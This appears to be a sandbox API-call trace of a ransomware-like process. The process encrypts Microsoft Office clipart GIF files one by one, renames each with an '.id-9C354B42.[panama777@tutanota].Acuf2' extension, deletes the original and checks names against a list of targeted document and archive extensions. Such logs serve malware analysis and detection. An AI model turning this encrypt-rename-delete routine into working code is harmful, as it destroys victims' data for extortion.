	[0254.076] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1da0, lpOverlapped=0x0) returned 1
	[0254.077] ReadFile (in: hFile=0x330, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.077] WriteFile (in: hFile=0x334, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.078] SetEndOfFile (hFile=0x334) returned 1
	[0254.081] CloseHandle (hObject=0x334) returned 1
	[0254.081] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.081] SetEndOfFile (hFile=0x330) returned 1
	[0254.119] CloseHandle (hObject=0x330) returned 1
	[0254.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 1
	[0254.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.189] lstrlenW (lpString=".doc") returned 4
	[0254.189] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.189] lstrlenW (lpString=".docx") returned 5
	[0254.189] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.189] lstrlenW (lpString=".pdf") returned 4
	[0254.189] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.189] lstrlenW (lpString=".xls") returned 4
	[0254.189] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.189] lstrlenW (lpString=".xlsx") returned 5
	[0254.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.189] lstrlenW (lpString=".ppt") returned 4
	[0254.189] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.190] lstrlenW (lpString=".zip") returned 4
	[0254.190] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.190] lstrlenW (lpString=".rar") returned 4
	[0254.190] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.190] lstrlenW (lpString=".bz2") returned 4
	[0254.190] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.190] lstrlenW (lpString=".7z") returned 3
	[0254.190] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.190] lstrlenW (lpString=".dbf") returned 4
	[0254.190] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.190] lstrlenW (lpString=".1cd") returned 4
	[0254.190] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.190] lstrlenW (lpString=".jpg") returned 4
	[0254.190] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.190] lstrlenW (lpString=".doc") returned 4
	[0254.190] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.190] lstrlenW (lpString=".docx") returned 5
	[0254.190] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.190] lstrlenW (lpString=".pdf") returned 4
	[0254.190] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.190] lstrlenW (lpString=".xls") returned 4
	[0254.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.190] lstrlenW (lpString=".xlsx") returned 5
	[0254.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.191] lstrlenW (lpString=".ppt") returned 4
	[0254.191] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.191] lstrlenW (lpString=".zip") returned 4
	[0254.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.191] lstrlenW (lpString=".rar") returned 4
	[0254.191] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.191] lstrlenW (lpString=".bz2") returned 4
	[0254.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.191] lstrlenW (lpString=".7z") returned 3
	[0254.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.191] lstrlenW (lpString=".dbf") returned 4
	[0254.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.191] lstrlenW (lpString=".1cd") returned 4
	[0254.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 63
	[0254.191] lstrlenW (lpString=".jpg") returned 4
	[0254.191] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.191] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.191] lstrlenW (lpString="AG00171_.GIF") returned 12
	[0254.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.198] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=5016) returned 1
	[0254.198] CloseHandle (hObject=0x330) returned 1
	[0254.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 0x20
	[0254.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.217] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.217] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0254.218] GetLastError () returned 0x0
	[0254.218] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1398, lpOverlapped=0x0) returned 1
	[0254.219] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x13a0, lpOverlapped=0x0) returned 1
	[0254.220] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.220] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.220] SetEndOfFile (hFile=0x354) returned 1
	[0254.220] CloseHandle (hObject=0x354) returned 1
	[0254.220] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.220] SetEndOfFile (hFile=0x338) returned 1
	[0254.223] CloseHandle (hObject=0x338) returned 1
	[0254.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00171_.gif")) returned 1
	[0254.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.224] lstrlenW (lpString=".doc") returned 4
	[0254.224] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.224] lstrlenW (lpString=".docx") returned 5
	[0254.224] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.224] lstrlenW (lpString=".pdf") returned 4
	[0254.224] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.224] lstrlenW (lpString=".xls") returned 4
	[0254.224] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.224] lstrlenW (lpString=".xlsx") returned 5
	[0254.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.224] lstrlenW (lpString=".ppt") returned 4
	[0254.224] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.224] lstrlenW (lpString=".zip") returned 4
	[0254.224] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.224] lstrlenW (lpString=".rar") returned 4
	[0254.224] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.224] lstrlenW (lpString=".bz2") returned 4
	[0254.224] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.224] lstrlenW (lpString=".7z") returned 3
	[0254.224] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.224] lstrlenW (lpString=".dbf") returned 4
	[0254.225] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.225] lstrlenW (lpString=".1cd") returned 4
	[0254.225] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.225] lstrlenW (lpString=".jpg") returned 4
	[0254.225] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.225] lstrlenW (lpString=".doc") returned 4
	[0254.225] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.225] lstrlenW (lpString=".docx") returned 5
	[0254.225] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.225] lstrlenW (lpString=".pdf") returned 4
	[0254.226] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.226] lstrlenW (lpString=".xls") returned 4
	[0254.226] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.226] lstrlenW (lpString=".xlsx") returned 5
	[0254.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.226] lstrlenW (lpString=".ppt") returned 4
	[0254.226] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.226] lstrlenW (lpString=".zip") returned 4
	[0254.226] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.226] lstrlenW (lpString=".rar") returned 4
	[0254.226] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.226] lstrlenW (lpString=".bz2") returned 4
	[0254.226] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.226] lstrlenW (lpString=".7z") returned 3
	[0254.226] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.226] lstrlenW (lpString=".dbf") returned 4
	[0254.226] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.226] lstrlenW (lpString=".1cd") returned 4
	[0254.226] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 63
	[0254.226] lstrlenW (lpString=".jpg") returned 4
	[0254.226] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.226] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.226] lstrlenW (lpString="AG00172_.GIF") returned 12
	[0254.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.228] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4390) returned 1
	[0254.228] CloseHandle (hObject=0x338) returned 1
	[0254.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 0x20
	[0254.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.228] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.228] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0254.228] GetLastError () returned 0x0
	[0254.229] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x1126, lpOverlapped=0x0) returned 1
	[0254.230] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x1130, lpOverlapped=0x0) returned 1
	[0254.231] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.231] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.231] SetEndOfFile (hFile=0x354) returned 1
	[0254.231] CloseHandle (hObject=0x354) returned 1
	[0254.231] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.231] SetEndOfFile (hFile=0x338) returned 1
	[0254.234] CloseHandle (hObject=0x338) returned 1
	[0254.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00172_.gif")) returned 1
	[0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.235] lstrlenW (lpString=".doc") returned 4
	[0254.235] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.235] lstrlenW (lpString=".docx") returned 5
	[0254.235] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.235] lstrlenW (lpString=".pdf") returned 4
	[0254.235] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.235] lstrlenW (lpString=".xls") returned 4
	[0254.235] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.235] lstrlenW (lpString=".xlsx") returned 5
	[0254.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.235] lstrlenW (lpString=".ppt") returned 4
	[0254.235] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.236] lstrlenW (lpString=".zip") returned 4
	[0254.236] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.236] lstrlenW (lpString=".rar") returned 4
	[0254.236] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.236] lstrlenW (lpString=".bz2") returned 4
	[0254.236] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.236] lstrlenW (lpString=".7z") returned 3
	[0254.236] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.236] lstrlenW (lpString=".dbf") returned 4
	[0254.236] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.236] lstrlenW (lpString=".1cd") returned 4
	[0254.236] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.236] lstrlenW (lpString=".jpg") returned 4
	[0254.236] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.236] lstrlenW (lpString=".doc") returned 4
	[0254.236] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0254.236] lstrlenW (lpString=".docx") returned 5
	[0254.236] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0254.236] lstrlenW (lpString=".pdf") returned 4
	[0254.236] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0254.236] lstrlenW (lpString=".xls") returned 4
	[0254.236] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0254.236] lstrlenW (lpString=".xlsx") returned 5
	[0254.236] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0254.236] lstrlenW (lpString=".ppt") returned 4
	[0254.237] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.237] lstrlenW (lpString=".zip") returned 4
	[0254.237] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0254.237] lstrlenW (lpString=".rar") returned 4
	[0254.237] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0254.237] lstrlenW (lpString=".bz2") returned 4
	[0254.237] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0254.237] lstrlenW (lpString=".7z") returned 3
	[0254.237] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.237] lstrlenW (lpString=".dbf") returned 4
	[0254.237] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.237] lstrlenW (lpString=".1cd") returned 4
	[0254.237] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0254.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 63
	[0254.237] lstrlenW (lpString=".jpg") returned 4
	[0254.237] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0254.237] lstrcmpiW (lpString1=".GIF", lpString2=".Acuf2") returned 1
	[0254.237] lstrlenW (lpString="AG00174_.GIF") returned 12
	[0254.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.238] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3966) returned 1
	[0254.238] CloseHandle (hObject=0x338) returned 1
	[0254.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20
	[0254.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0254.238] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.238] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0254.239] GetLastError () returned 0x0
	[0254.239] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xf7e, lpOverlapped=0x0) returned 1
	[0254.240] WriteFile (in: hFile=0x354, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xf80, lpOverlapped=0x0) returned 1
